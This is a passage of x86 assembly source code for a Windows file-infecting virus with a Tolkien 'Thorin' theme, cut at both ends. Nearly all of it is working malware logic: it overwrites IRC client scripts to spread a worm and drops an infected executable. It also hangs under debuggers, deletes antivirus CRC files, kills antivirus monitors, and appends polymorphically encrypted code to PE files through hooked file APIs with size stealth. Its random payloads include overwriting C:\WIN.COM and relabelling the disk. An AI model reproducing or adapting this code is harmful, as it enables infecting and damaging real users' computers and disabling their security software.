jecxz TryWithMIRC ; file doesn't exist :)
jmp BorrowPIRCH ; As in DOS! ;)
TryWithMIRC:
push 80h
lea eax,[ebp+mIRCWormFile]
push eax
apicall _SetFileAttributesA
xchg eax,ecx
jecxz TryWithViRC97
jmp BorrowMIRC
TryWithViRC97:
push 80h
lea eax,[ebp+ViRC97WormFile]
push eax
apicall _SetFileAttributesA
xchg eax,ecx
jecxz ExitWorms
jmp BorrowViRC97
ExitWorms:
ret
; ===========================================================================
; PIRCH script overwrite
; ===========================================================================
BorrowPIRCH: ; If file found, drop the
xor eax,eax ; new script file
push eax
push eax
push 00000003h
push eax
inc eax
push eax
push 40000000h
call _PIRCH
PirchWormFile db "events.ini",0 ; What to overwrite
_PIRCH: apicall _CreateFileA
mov dword ptr [ebp+TempHandle],eax
push 00000000h ; Overwrite with our script :)
lea ebx,[ebp+iobytes]
push ebx
push PirchWormSize
lea ebx,[ebp+PirchWorm]
push ebx
push eax
apicall _WriteFile
mov ecx,PirchWormSize ; And trunc the file, so there
call TruncFile ; won't be more shit ;)
push dword ptr [ebp+TempHandle]
apicall _CloseHandle
ret
; ===========================================================================
; mIRC script overwrite
; ===========================================================================
BorrowMIRC: ; Same as above, but with
xor eax,eax ; mIRC scripts
push eax
push eax
push 00000003h
push eax
inc eax
push eax
push 40000000h
call _mIRC
mIRCWormFile db "mirc.ini",0
_mIRC: apicall _CreateFileA
mov dword ptr [ebp+TempHandle],eax
push 00000000h
lea ebx,[ebp+iobytes]
push ebx
push mIRCWormSize
lea ebx,[ebp+mIRCWorm]
push ebx
push eax
apicall _WriteFile
mov ecx,mIRCWormSize
call TruncFile
push dword ptr [ebp+TempHandle]
apicall _CloseHandle
ret
; ===========================================================================
; ViRC97 script overwrite
; ===========================================================================
BorrowViRC97: ; Same as above, but with
xor eax,eax ; ViRC97 scripts
push eax
push eax
push 00000003h
push eax
inc eax
push eax
push 40000000h
call _ViRC97
ViRC97WormFile db "default.lib",0
_ViRC97:apicall _CreateFileA
mov dword ptr [ebp+TempHandle],eax
push 00000000h
lea ebx,[ebp+iobytes]
push ebx
push ViRC97WormSize
lea ebx,[ebp+ViRC97Worm]
push ebx
push eax
apicall _WriteFile
mov ecx,ViRC97WormSize
call TruncFile
push dword ptr [ebp+TempHandle]
apicall _CloseHandle
ret
; ===========================================================================
; Unpack, drop and infect our PE file [TROJAN mode]
; ===========================================================================
DropPR0N:
push drop_old_size ; Allocate some memory
push 00000000h
apicall _GlobalAlloc
cmpz eax,_ExitDropPR0N
mov dword ptr [ebp+GlobalAllocHnd],ecx
mov edi,dropper_size ; Unpack in allocated memory
xchg edi,ecx ; the dropper
lea esi,[ebp+dropper]
call LSCE_UnPack
push 00000000h ; Create the dropper on
push 00000080h ; C:\PR0N.EXE (hi darkman!) ;)
push 00000002h
push 00000000h
push 00000001h
push 40000000h
call _PR0N
pr0nfile db "C:\PR0N.EXE",0
_ExitDropPR0N:
jmp ExitDropPR0N
_PR0N: apicall _CreateFileA
push eax ; Write it, sucka!
push 00000000h
lea ebx,[ebp+iobytes]
push ebx
push drop_old_size
push dword ptr [ebp+GlobalAllocHnd]
push eax
apicall _WriteFile
apicall _CloseHandle
lea edi,[ebp+pr0nfile] ; Infect it
call _Infection
push dword ptr [ebp+GlobalAllocHnd] ; And free allocated memory
apicall _GlobalFree
ExitDropPR0N:
ret
; ===========================================================================
; Self protect virus againist debuggers
; ===========================================================================
AntiDebugger:
apicall _GetVersion ; Check for Win95, as it dont
cmp eax,80000000h ; have the IsDebuggerPresent
jb BetterNot ; API.
cmp ax,0A04h
jb BetterNot
lea esi,[ebp+@IsDebuggerPresent]
call GetAPI_ET
call eax ; Are we being debugged? Shit!
cmpz eax,BetterNot
cli ; Who said that Windoze don't
jmp $-1 ; use interrupts? ;) Int8 rlz
BetterNot:
ret
db 0,"[Dedicated to all Tolkien fans over the middle-earth]",0
; ===========================================================================
; Kill AV CRC files
; ===========================================================================
DeleteShit:
pushad
lea edi,[ebp+@@BadPhilez] ; Load pointer to first file
mov ecx,bad_number ; Number of files to erase
killem: push ecx ; Save the number
push edi ; Push file to erase
apicall _DeleteFileA ; Delete it!
pop ecx ; Restore the number
xor al,al ; Get the next file
scasb
jnz $-1
loop killem ; Loop and delete another :)
popad
ret
; ===========================================================================
; Kill the processes of determinated AV monitors
; ===========================================================================
KillMonitors:
lea edi,[ebp+Monitors2Kill]
KM_L00p:
call TerminateProc
xor al,al ; Reach the end of string
scasb
jnz $-1
cmp byte ptr [edi],0BBh ; Last item of array?
jnz KM_L00p
ret
; ===========================================================================
; Avoid infection of certain files
; ===========================================================================
;
; input:
; EDI = Pointer to file name
; output:
; CF = Set to 1 if it exist, to 0 if it doesn't
;
AvoidShitFiles:
lea esi,[ebp+@@BadProgramz] ; Ptr to table
ASF_Loop:
xor eax,eax ; Clear EAX
lodsb ; Load size of string in AL
cmp al,0BBh ; End of table?
jz AllShitFilesProcessed ; Oh, shit!
xchg eax,ecx ; Put Size in ECX
push edi ; Preserve program pointer
rep cmpsb ; Compare both strings
pop edi ; Restore program pointer
jz ShitFileFound ; Damn, a shitty file!
add esi,ecx ; Pointer to another string
jmp ASF_Loop ; in table & loop
AllShitFilesProcessed:
mov cl,00h ; Overlap, so CL = 0F9h
org $-1
ShitFileFound:
stc ; Set carry
ret
; ===========================================================================
; PE Infection (with parameters)
; ===========================================================================
;
; input:
; EDI = Pointer to file name
; output:
; Nothing.
;
_Infection:
push edi
apicall _GetFileAttributesA
cmp_ eax,_ExitInfection
mov dword ptr [ebp+WFD_dwFileAttributes],eax
mov esi,edi
call OpenFile
cmp_ eax,_ExitInfection
push eax
push 00000000h
push eax
apicall _GetFileSize
mov dword ptr [ebp+WFD_nFileSizeLow],eax
apicall _CloseHandle
lea esi,[ebp+WFD_szFileName]
xchg esi,edi
duhast: lodsb
or al,al
jz engel
stosb
jmp duhast
engel: stosb
push dword ptr [ebp+NewEIP]
push dword ptr [ebp+OldEIP]
push dword ptr [ebp+ModBase]
call Infection
pop dword ptr [ebp+ModBase]
pop dword ptr [ebp+OldEIP]
pop dword ptr [ebp+NewEIP]
mov cl,00h ; Overlapppppp
org $-1
_ExitInfection:
stc
ret
; ===========================================================================
; PE Infection (with WIN32_FIND_DATA)
; ===========================================================================
;
; input:
; Nothing (everything needed is in WFD structure).
; output:
; Nothing.
;
Infection:
lea esi,[ebp+WFD_szFileName] ; Get FileName to infect
push 80h
push esi
apicall _SetFileAttributesA ; Wipe its attributes
call OpenFile ; Open it
cmp_ eax,CantOpen
mov dword ptr [ebp+FileHandle],eax
mov ecx,dword ptr [ebp+WFD_nFileSizeLow] ; 1st we create map with
call CreateMap ; its exact size
cmpz_ eax,CloseFile
mov dword ptr [ebp+MapHandle],eax
mov ecx,dword ptr [ebp+WFD_nFileSizeLow]
call MapFile ; Map it
cmpz_ eax,UnMapFile
mov dword ptr [ebp+MapAddress],eax
mov esi,eax ; Get PE Header
mov esi,[esi+3Ch]
add esi,eax
cmp dword ptr [esi],"EP" ; Is it PE?
jnz NoInfect
cmp dword ptr [esi+mark],ddInfMark ; Was it infected?
jz NoInfect
push dword ptr [ebp+MapAddress]
apicall _UnmapViewOfFile
push dword ptr [ebp+MapHandle]
apicall _CloseHandle
mov ecx,dword ptr [ebp+WFD_nFileSizeLow] ; And Map all again.
add ecx,virus_size
call CreateMap
cmpz_ eax,CloseFile
mov dword ptr [ebp+MapHandle],eax
mov ecx,dword ptr [ebp+WFD_nFileSizeLow]
add ecx,virus_size
call MapFile
cmpz_ eax,UnMapFile
mov dword ptr [ebp+MapAddress],eax
mov esi,eax
mov esi,[eax+3Ch]
add esi,eax
call GetLastSection ; ESI = Last Section
; EDI = PE header
mov eax,[edi+28h] ; Save original EIP
mov dword ptr [ebp+OldEIP],eax
mov edx,[esi+10h]
mov ebx,edx
add edx,[esi+14h] ; EDX = Phisical address where
; append virus
push edx
mov eax,ebx
add eax,[esi+0Ch] ; EAX = VA of new EIP
mov [edi+28h],eax ; Set the new entrypoint
mov dword ptr [ebp+NewEIP],eax
mov eax,[esi+10h] ; Retrieve new SizeOfRawData
add eax,virus_size ; and VirtualSize
mov ecx,[edi+3Ch]
call Align
mov [esi+10h],eax ; Set new SizeOfRawData
mov [esi+08h],eax ; Set new VirtualSize
pop edx
mov eax,[esi+10h] ; Set new SizeOfImage
add eax,[esi+0Ch]
mov [edi+50h],eax
and dword ptr [edi+0A0h],00h ; Nulify the relocs, so they
and dword ptr [edi+0A4h],00h ; won't fuck us :)
or dword ptr [esi+24h],section_flags ; Set new section attributes
mov dword ptr [edi+mark],ddInfMark ; Mark infected files
push dword ptr [ebp+WFD_nFileSizeLow]
pop dword ptr [edi+orig_size] ; Store orig. size for stealth
push dword ptr [edi+3Ch]
push dword ptr [ebp+infections]
and dword ptr [ebp+infections],00h
; Some RDA stuff
push edi esi edx ; Save ESI and EDI for later
lea esi,[ebp+crypto]
mov edi,encrypt_size
call CRC32 ; Obtain virus CRC32
pop edx esi edi
mov dword ptr [ebp+CRC],eax ; Store it
push edx
apicall _GetTickCount ; Get a random number as seed
xchg ebx,eax ; for RDA encryption
pop edx
; Append virus & RDA encryption
mov edi,dword ptr [ebp+MapAddress] ; Write non crypted part
add edi,edx
push edi
lea esi,[ebp+virus_start]
mov ecx,non_crypt_size
cld
rep movsb
mov ecx,encrypt_size ; Encrypt and copy the rest
cryptl: lodsb
xor al,bl
stosb
loop cryptl
pop edi
; Poly decryptor generation
lea eax,[ebp+random_seed] ; Get a slow seed for poly
push eax
apicall _GetSystemTime
mov eax,poly_virus_size ; Obtain exactly a reliable
mov ecx,4 ; value of virus_size divided
call Align ; by 4
shr eax,2
xchg eax,ecx
mov esi,edi
add esi,LIMIT
call THME ; generate the poly decryptor
pop dword ptr [ebp+infections]
mov eax,edi ; Trunc file
sub eax,dword ptr [ebp+MapAddress]
pop ecx
call Align
xchg eax,ecx
call TruncFile
jmp UnMapFile
NoInfect:
stc
dec byte ptr [ebp+infections] ; Shit, if we are here,
mov ecx,dword ptr [ebp+WFD_nFileSizeLow] ; something failed :(
call TruncFile
UnMapFile:
push dword ptr [ebp+MapAddress] ; Close map view of file
apicall _UnmapViewOfFile
CloseMap:
push dword ptr [ebp+MapHandle] ; Close map handle
apicall _CloseHandle
CloseFile:
push dword ptr [ebp+FileHandle] ; Close file handle
apicall _CloseHandle
CantOpen:
push dword ptr [ebp+WFD_dwFileAttributes]
lea eax,[ebp+WFD_szFileName] ; Restore old attributes
push eax
apicall _SetFileAttributesA
ret
db 0,"[Welcome to the Middle-Earth, my dear friend]",0
; ===========================================================================
; Tiny method for get KERNEL32 base address
; ===========================================================================
;
; input:
; ESI = Program return address
; ECX = Limit of pages where search
; output:
; EAX = Base address of KERNEL32.dll
;
GetK32 proc ; My own little GetK32 :)
and esi,0FFFF0000h
_@1: jecxz WeFailed ; Thanx to Super for the idea
cmp word ptr [esi],"ZM" ; and Qozah for notifying me
jz CheckPE ; a little error (Thnx man!)
_@2: sub esi,10000h
dec ecx
jmp _@1
CheckPE:
mov edi,[esi+3Ch]
add edi,esi
cmp dword ptr [edi],"EP"
jz WeGotK32
jmp _@2
WeFailed:
cmp byte ptr [ebp+inNT],00h ; Otherwise, hardcode to the
jz W9X ; proper OS.
mov esi,kernel_wNT ; NT = 77F00000h
jmp WeGotK32
W9X: mov esi,kernel_ ; 9X = BFF70000h
WeGotK32:
xchg eax,esi
ret
GetK32 endp
; ===========================================================================
; Retrieve API addresses (from Export Table)
; ===========================================================================
;
; input:
; EDI = Pointer to where you want the first API Address
; ESI = Pointer to the first API Name
; output:
; Nothing.
;
GetAPIs proc
@@1: push esi
push edi
call GetAPI_ET
pop edi
pop esi
stosd
xchg edi,esi
xor al,al
@@2: scasb
jnz @@2
xchg edi,esi
@@3: cmp byte ptr [esi],0BBh
jz @@4
jmp @@1
@@4: ret
GetAPIs endp
; ===========================================================================
; Retrieve API address (from Export Table)
; ===========================================================================
;
; input:
; ESI = Pointer to API Name
; output:
; EAX = API address
;
GetAPI_ET proc
mov edx,esi
mov edi,esi
xor al,al
@_1: scasb
jnz @_1
sub edi,esi ; EDI = API Name size
mov ecx,edi
xor eax,eax
mov esi,3Ch
rva2va esi,kernel
lodsw
rva2va eax,kernel
mov esi,[eax+78h]
add esi,1Ch
rva2va esi,kernel
lodsd
rva2va eax,kernel
mov dword ptr [ebp+AddressTableVA],eax
lodsd
rva2va eax,kernel
push eax ; mov [NameTableVA],eax =)
lodsd
rva2va eax,kernel
mov dword ptr [ebp+OrdinalTableVA],eax
pop esi
xor ebx,ebx
@_3: push esi
lodsd
rva2va eax,kernel
mov esi,eax
mov edi,edx
push ecx
cld
rep cmpsb
pop ecx
jz @_4
pop esi
add esi,4
inc ebx
jmp @_3
@_4:
pop esi
xchg eax,ebx
shl eax,1
add eax,dword ptr [ebp+OrdinalTableVA]
xor esi,esi
xchg eax,esi
lodsw
shl eax,2
add eax,dword ptr [ebp+AddressTableVA]
xchg esi,eax
lodsd
rva2va eax,kernel
ret
GetAPI_ET endp
; ===========================================================================
; Retrieve API address (from Import Table)
; ===========================================================================
;
; input:
; EDI = Offset of API address to retrieve
; output:
; EAX = Address of the API
; EBX = Address of the API address in the import
;
GetAPI_IT proc
mov dword ptr [ebp+TempGA_IT1],edi
mov ebx,edi
xor al,al
scasb
jnz $-1
sub edi,ebx
mov dword ptr [ebp+TempGA_IT2],edi
xor eax,eax
mov esi,dword ptr [ebp+imagebase]
add esi,3Ch
lodsw
add eax,dword ptr [ebp+imagebase]
xchg esi,eax
lodsd
cmp eax,"EP"
jnz nopes
add esi,7Ch
lodsd
push eax
lodsd
mov ecx,eax
pop esi
add esi,dword ptr [ebp+imagebase]
SearchK32:
push esi
mov esi,[esi+0Ch]
add esi,dword ptr [ebp+imagebase]
lea edi,[ebp+K32_DLL]
mov ecx,K32_Size
cld
push ecx
rep cmpsb
pop ecx
pop esi
jz gotcha
add esi,14h
jmp SearchK32
gotcha:
cmp byte ptr [esi],00h
jz nopes
mov edx,[esi+10h]
add edx,dword ptr [ebp+imagebase]
lodsd
jz nopes
xchg edx,eax
add edx,[ebp+imagebase]
xor ebx,ebx
loopy:
cmp dword ptr [edx+00h],00h
jz nopes
cmp byte ptr [edx+03h],80h
jz reloop
mov edi,dword ptr [ebp+TempGA_IT1]
mov ecx,dword ptr [ebp+TempGA_IT2]
mov esi,[edx]
add esi,dword ptr [ebp+imagebase]
add esi,2
push ecx
rep cmpsb
pop ecx
jz wegotit
reloop:
inc ebx
add edx,4
loop loopy
wegotit:
shl ebx,2
add ebx,eax
mov eax,[ebx]
db 0B1h
nopes:
stc
ret
GetAPI_IT endp
; ===========================================================================
; Payloads
; ===========================================================================
; White trash get down on your knees... and you'll get cake and sodomy!
payload proc
apicall _GetTickCount ; Get a random payload
and eax,payload_number
lea esi,[ebp+payload_table+eax*4]
lodsd
add eax,ebp
call eax ; Call to it
ret
payload endp
payload1 proc
push 00000000h ; Mmm, a new win.com :)
push 00000080h
push 00000002h
push 00000000h
push 00000001h
push 40000000h
call ___
db "C:\WIN.COM",0
___: apicall _CreateFileA
push eax
push 00000000h
lea ebx,[ebp+iobytes]
push ebx
push p_size
lea ebx,[ebp+payl0ad]
push ebx
push eax
apicall _WriteFile
apicall _CloseHandle
ret
payload1 endp
payload2 proc
call __
db "THORIN",0 ; HD Name is... THORIN :)
__: push 00000000h
apicall _SetVolumeLabelA
ret
payload2 endp
payload3 proc
push 00000001h
apicall _SwapMouseButton ; Left is right, right is left
ret
payload3 endp
payload4 proc
push 00001010h ; Display message
lea eax,[ebp+vname]
push eax
call _2
; Stupid message to annoy user... panic ain't good, but... what is good? ;)
db "Thorin... Thorin... Thorin... Thorin... Thorin...",13,13
db "I am Thorin, son of Thrain, son of Thror",13
db "and your computer is mine... mwahahahahaha!",13
db "I will give you... the death you deserve!",13,13
db "...Thorin ...Thorin ...Thorin ...Thorin ...Thorin",0
_2: push 00000000h
apicall _MessageBoxA
payload4 endp
payload5 proc
lea ebx,[ebp+szSHELL32]
push ebx
apicall _LoadLibraryA ; Get SHELL32 base address
lea ecx,[ebp+@ShellExecuteA]
push ecx
push eax
apicall _GetProcAddress ; Get ShellExecuteA address
xor ebx,ebx
push ebx
push ebx
push ebx
lea ecx,[ebp+szMicro$oft]
push ecx
lea ecx,[ebp+szOPEN]
push ecx
push ebx
call eax ; Open Micro$oft web
ret
payload5 endp
; ===========================================================================
; Some miscellaneous functions
; ===========================================================================
; ALIGN
;
; input:
; EAX = Number to align
; ECX = Alignment factor
; output:
; EAX = Aligned number
;
Align proc
push edx
xor edx,edx
push eax
div ecx
pop eax
sub ecx,edx
add eax,ecx
pop edx
ret
Align endp
; TRUNCFILE
;
; input:
; ECX = Where trunc file
; output:
; Nothing.
;
TruncFile proc
xor eax,eax
push eax
push eax
push ecx
push dword ptr [ebp+FileHandle]
apicall _SetFilePointer
push dword ptr [ebp+FileHandle]
apicall _SetEndOfFile
ret
TruncFile endp
; OPENFILE
;
; input:
; ESI = Pointer to file
; output:
; EAX = Handle (if succesful) / -1 (if failed)
;
OpenFile proc
xor eax,eax
push eax
push eax
push 00000003h
push eax
inc eax
push eax
push 40000000h or 80000000h
push esi
apicall _CreateFileA
ret
OpenFile endp
; CREATEMAP
;
; input:
; ECX = Size to map
; output:
; EAX = Handle (if succesful) / 0 (if failed)
;
CreateMap proc
xor eax,eax
push eax
push ecx
push eax
push 00000004h
push eax
push dword ptr [ebp+FileHandle]
apicall _CreateFileMappingA
ret
CreateMap endp
; MAPFILE
;
; input:
; ECX = Size to map
; output:
; EAX = Handle (if succesful) / 0 (if failed)
MapFile proc
xor eax,eax
push ecx
push eax
push eax
push 000F001Fh
push dword ptr [ebp+MapHandle]
apicall _MapViewOfFile
ret
MapFile endp
; REGEXIST
;
; input:
; ESI = Pointer to key name
; output:
; CF = Set to 1 if it exist, to 0 if it doesn't
;
RegExist proc
lea eax,[ebp+RegHandle]
push eax
push 000F003Fh
push 00000000h
push esi
push 80000001h
apicall _RegOpenKeyExA
cmp eax,2
jz RegExistExitCF0
push dword ptr [ebp+RegHandle]
apicall _CloseHandle
stc
ret
RegExistExitCF0:
clc
ret
RegExist endp
; PUTREG
;
; input:
; ESI = Pointer to key name
; output:
; Nothing.
;
PutReg proc
lea eax,[ebp+Disposition]
push eax
lea eax,[ebp+RegHandle]
push eax
xor eax,eax
push eax
push 000F003Fh
push eax
push eax
push eax
push esi
push 80000001h
apicall _RegCreateKeyExA
push dword ptr [ebp+RegHandle]
apicall _CloseHandle
ret
PutReg endp
; DELREG
;
; input:
; ESI = Pointer to key name
; output:
; Nothing.
;
DelReg proc
push esi
push 80000001h
apicall _RegDeleteKeyA
ret
DelReg endp
; TERMINATEPROC
;
; input:
; EDI = Pointer to the name of the window of the process we wanna kill
; output:
; CF = Set to 1 if it wasn't found or killed, to 0 if it was killed
;
TerminateProc proc
xor ebx,ebx ; Thnx 2 Bennyg0d :)
push edi
push ebx
apicall _FindWindowA
xchg eax,ecx
jecxz TP_ErrorExit
push ebx
push ebx
push 00000012h
push ecx
apicall _PostMessageA
mov cl,00h
org $-1
TP_ErrorExit:
stc
ret
TerminateProc endp
; GETLASTSECTION
;
; input:
; ESI = Pointer to PE header
; output:
; ESI = Pointer to last section
; EDI = Pointer to PE header
;
GetLastSection proc
mov edi,esi
movzx eax,word ptr [edi+06h] ; Get ptr to last section
dec eax
imul eax,eax,28h ; C'mon, feel the noise...
add esi,eax
add esi,78h
mov edx,[edi+74h]
shl edx,03h
add esi,edx
ret
GetLastSection endp
; ===========================================================================
; Get Delta Offset
; ===========================================================================
;
; input:
; Nothing.
; output:
; ECX = Delta Offset
;
GetDeltaOffset proc
call getitright ; Oh! What is this? Incredible!
getitright:
pop ebp
sub ebp,offset getitright
ret
GetDeltaOffset endp
; ===========================================================================
; Dropper unpacker (25 bytes) <<->> [LSCE] - Little Shitty Compression Engine
; ===========================================================================
;
; ??? ??????? ??????? ???????
; ? ? ? ????? ? ????? ? ????? The Little and Shitty Compression Engine
; ? ????? ????? ? ? ????? ? ????? Poorly coded and written by...
; ??????? ??????? ??????? ??????? Who cares? :) Well... by me. Any problem?
;
; This is a very simple packing engine, based in the repetition of zeros that
; the PE files have, thus it is able to compress a PE file... Hehehe, i can
; put a dropper without caring about its space! That was the only reason of
; make this little shit. Maybe one day i will make a 'real' compression engi-
; ne, but today i'm too busy :)
;
; input:
; EDI = Offset where unpack
; ESI = Data to unpack
; ECX = Size of packed data
; output:
; Nothing.
;
LSCE_UnPack proc
xor eax,eax ; 2 bytes Hehehe, i
process_byte: ; think i'm
lodsb ; 1 byte turning a
or al,al ; 2 bytes little bit
jnz store_byte ; 2 bytes paranoid...
dec ecx ; 1 byte
dec ecx ; 1 byte
lodsw ; 2 bytes
push ecx ; 1 byte
xor ecx,ecx ; 2 bytes
xchg eax,ecx ; 1 byte
rep stosb ; 2 bytes
pop ecx ; 1 byte
loop process_byte ; 2 bytes
jecxz all_unpacked ; 2 bytes
store_byte:
stosb ; 1 byte
loop process_byte ; 2 bytes
all_unpacked:
ret ; 2 bytes
LSCE_UnPack endp
; ===========================================================================
; Hook all the possible APIs, of host IT
; ===========================================================================
HookAllAPIs:
mov eax,dword ptr [ebp+ModBase] ; file modbase=file imagebase
mov dword ptr [ebp+imagebase],eax
lea edi,[ebp+@@Hookz] ; Ptr to the first API
nxtapi: push edi
call GetAPI_IT ; Get it from Import Table
pop edi
jc Next_IT_Struc_ ; Fail? Damn...
xor al,al ; Reach the end of API string
scasb
jnz $-1
mov eax,[edi] ; All must be in its place :)
add eax,ebp
mov [ebx],eax
Next_IT_Struc:
add edi,4
cmp byte ptr [edi],"" ; Reach the last api? Grrr...
jz AllHooked
jmp nxtapi
AllHooked:
ret
Next_IT_Struc_:
xor al,al
scasb
jnz $-1
jmp Next_IT_Struc
; A bard was our savior!
db 0,"[Glory to the Bards!]",0
; ===========================================================================
; Hooks' code
; ===========================================================================
HookMoveFileA:
call DoHookStuff
jmp [eax+_MoveFileA]
HookCopyFileA:
call DoHookStuff
jmp [eax+_CopyFileA]
HookGetFullPathNameA:
call DoHookStuff
jmp [eax+_GetFullPathNameA]
HookDeleteFileA:
call DoHookStuff
jmp [eax+_DeleteFileA]
HookWinExec:
call DoHookStuff
jmp [eax+_WinExec]
HookCreateFileA:
call DoHookStuff
jmp [eax+_CreateFileA]
HookCreateProcessA:
call DoHookStuff
jmp [eax+_CreateProcessA]
HookGetFileAttributesA:
call DoHookStuff
jmp [eax+_GetFileAttributesA]
HookFindFirstFileA:
pushad ; Save all reggies
call GetDeltaOffset ; EBP = Delta Offset
mov eax,[esp+20h] ; EAX = Return Address
mov dword ptr [ebp+FFRetAddress],eax
mov eax,[esp+28h] ; EAX = Ptr to WFD
mov dword ptr [ebp+FF_WFD],eax
mov [esp.PUSHAD_EAX],ebp
popad
add esp,4 ; Remove this ret address from
; stack
call [eax+_FindFirstFileA] ; Call original API
test eax,eax ; Fail? Shit...
jz FF_GoAway
pushad ; Save reggies and flaggies
pushfd
call GetDeltaOffset ; Delta again
movzx ebx,byte ptr [ebp+WFD_Handles_Count] ; Number of active hndlers
mov edx,[ebp+WFD_HndInMem] ; Our Handle table in mem
mov esi,12345678h ; Ptr to filename
FF_WFD equ $-4
add esi,(offset WFD_szFileName-offset WIN32_FIND_DATA)
cmp ebx,n_Handles ; Over max hnd storing?
jae AvoidStoring ; Shit...
; WFD_Handles structure
; ?????????????????????
; +00h WFD Handle
; +04h Address of its WIN32_FIND_DATA
mov dword ptr [edx+ebx*8],eax ; Store Handle
mov dword ptr [edx+ebx*8+4],esi ; Store WFD offset
inc byte ptr [ebp+WFD_Handles_Count]
AvoidStoring:
push esi
call Check4ValidFile ; Is a reliable file 4 inf?
pop edi
jc FF_AvoidInfekt ; Duh!
push edi
call _Infection ; Infect it
pop esi
call Info4Stealth ; Get, if available, old file's
; size
jc FF_AvoidInfekt
mov ecx,dword ptr [ebp+FF_WFD]
add ecx,(offset WFD_nFileSizeLow-offset WIN32_FIND_DATA)
mov [ecx],eax ; Size stealth!
FF_AvoidInfekt:
popfd
popad
FF_GoAway: ; Return to caller
push 12345678h
FFRetAddress equ $-4
ret
HookFindNextFileA:
pushad ; Save all reggies
call GetDeltaOffset ; Get delta offset
mov eax,[esp+20h] ; EAX = Return address
mov dword ptr [ebp+FNRetAddress],eax
mov eax,[esp+24h] ; EAX = Search Handle
mov dword ptr [ebp+FN_Hnd],eax
mov [esp.PUSHAD_EAX],ebp
popad
add esp,4
call [eax+_FindNextFileA] ; Call original API
or eax,eax ; Fail? Damn.
jz FN_GoAway
pushad ; Save regs and flags
pushfd
call GetDeltaOffset ; Get delta again
mov eax,12345678h ; EAX = Search Handle
FN_Hnd equ $-4
call Check4ValidHandle ; Is in our table? If yes,
jc FN_AvoidInfekt ; infect.
xchg esi,eax ; ESI = Pointer to WFD
mov dword ptr [ebp+FN_FS],esi ; Save if for later
add esi,(offset WFD_szFileName-offset WIN32_FIND_DATA)
push esi ; ESI = Ptr to filename
call Check4ValidFile ; Is reliable its inf.?
pop edi
jc FN_AvoidInfekt ; Duh...
push edi
call _Infection ; Infect it !
pop esi
call Info4Stealth ; Retrieve info for possible
; stealth...
jc FN_AvoidInfekt
mov ecx,12345678h
FN_FS equ $-4
add ecx,(offset WFD_nFileSizeLow-offset WIN32_FIND_DATA)
mov [ecx],eax ; Size Stealth, dude!
FN_AvoidInfekt:
popfd ; Restore flags & regs
popad
FN_GoAway: ; Return to caller
push 12345678h
FNRetAddress equ $-4
ret
HookGetProcAddress:
pushad ; Save all the registers
call GetDeltaOffset ; EBP = Delta Offset
mov eax,[esp+24h] ; EAX = Base address of module
cmp eax,dword ptr [ebp+kernel] ; Is EAX=K32?
jnz OriginalGPA ; If not, it's not our problem
mov [esp.PUSHAD_EAX],ebp
popad
pop dword ptr [eax+HGPA_RetAddress] ; Put ret address in a safe place
call [eax+_GetProcAddress] ; Call original API
or eax,eax ; Fail? Duh!
jz HGPA_SeeYa
pushad
xchg eax,ebx ; EBX = Address of function
call GetDeltaOffset ; EBP = Delta offset
mov ecx,n_HookedAPIs ; ECX = Number of hooked apis
lea esi,[ebp+@@HookedOffsetz] ; ESI = Ptr to array of API
; addresses
xor edx,edx ; EDX = Counter (set to 0)
HGPA_IsHookableAPI?:
lodsd ; EAX = API from array
cmp ebx,eax ; Is equal to requested address?
jz HGPA_IndeedItIs ; If yes, it's interesting 4 us
inc edx ; Increase counter
loop HGPA_IsHookableAPI? ; Search loop
jmp OriginalGPAx
HGPA_IndeedItIs:
lea edi,[ebp+@@Hookz] ; EDI = Ptr to hooked API strings
xor ebx,ebx ; EBX = New counter
HGPA_AndWhatAPI?:
cmp edx,ebx ; We want EBX = EDX
jz HGPA_ThisAPI
xor al,al ; Travel trough the Hooks
scasb ; structure
jnz $-1
add edi,4
inc ebx
jmp HGPA_AndWhatAPI?
HGPA_ThisAPI:
xor al,al ; EDI = Points to requested
scasb ; api string
jnz $-1
mov eax,[edi] ; Get its offset
add eax,ebp ; Adjust it to delta
mov [esp.PUSHAD_EAX],eax
popad
HGPA_SeeYa:
push 12345678h
HGPA_RetAddress equ $-4
ret
OriginalGPAx:
mov [esp.PUSHAD_EAX],ebp
popad
push dword ptr [eax+HGPA_RetAddress]
jmp [eax+_GetProcAddress]
OriginalGPA:
mov [esp.PUSHAD_EAX],ebp
popad
jmp [eax+_GetProcAddress]
; ===========================================================================
; Hooked "standard" APIs handler
; ===========================================================================
DoHookStuff:
pushad
pushfd
call GetDeltaOffset
mov edx,[esp+2Ch] ; Get filename to infect
mov esi,edx
call Check4ValidFile
jc ErrorDoHookStuff
InfectWithHookStuff:
xchg edi,edx
call _Infection
ErrorDoHookStuff:
popfd ; Preserve all as if nothing
popad ; happened :)
push ebp
call GetDeltaOffset ; Get delta offset
xchg eax,ebp
pop ebp
ret
; ===========================================================================
; Retrieve information for size-stealth
; ===========================================================================
;
; input:
; ESI = Pointer to file name
; output:
; EAX = Old Size (Stored at PE Header+44h)
; CF = Set to 1 if error (file not infected, I/O, etc)
;
Info4Stealth:
and byte ptr [ebp+CoolFlag],00h ; Flag to 0
call OpenFile ; Open File
cmp_ eax,I4S_Error
mov dword ptr [ebp+FileHandle],eax ; Store its handler
push 00000000h ; Get file's size
push eax
apicall _GetFileSize
xchg eax,ecx
push ecx ; Create its mapping
call CreateMap
pop ecx
cmpz_ eax,I4S_Error_CloseFileHnd
mov dword ptr [ebp+MapHandle],eax ; Save handler
call MapFile ; Create a mapping view
cmpz_ eax,I4S_Error_CloseMapHnd
mov dword ptr [ebp+MapAddress],eax ; Store mapping address
mov esi,[eax+3Ch]
add esi,eax
cmp dword ptr [esi],"EP" ; Is it PE?
jnz I4S_Error_UnMapHnd
push dword ptr [esi+orig_size] ; Get original's file size
pop dword ptr [ebp+OldSize] ; And put it in a temp place
inc byte ptr [ebp+CoolFlag] ; Set flag to 1
I4S_Error_UnMapHnd:
push dword ptr [ebp+MapAddress] ; Close map view of file
apicall _UnmapViewOfFile
I4S_Error_CloseMapHnd:
push dword ptr [ebp+MapHandle] ; Close map handle
apicall _CloseHandle
I4S_Error_CloseFileHnd:
push dword ptr [ebp+FileHandle] ; Close file handle
apicall _CloseHandle
cmp byte ptr [ebp+CoolFlag],00h ; Were we able to open? If yes,
jz I4S_Error ; leave stack clear...
I4S_Successful:
mov eax,12345678h
OldSize equ $-4
mov cl,00h
org $-1
I4S_Error:
stc
ret
; ===========================================================================
; Check if file infection is reliable
; ===========================================================================
;
; input:
; ESI = Pointer to file name
; output:
; CF = Set to 1 if it's reliable, to 0 if it isn't
;
Check4ValidFile:
lodsb
or al,al ; Find NULL? Shit...
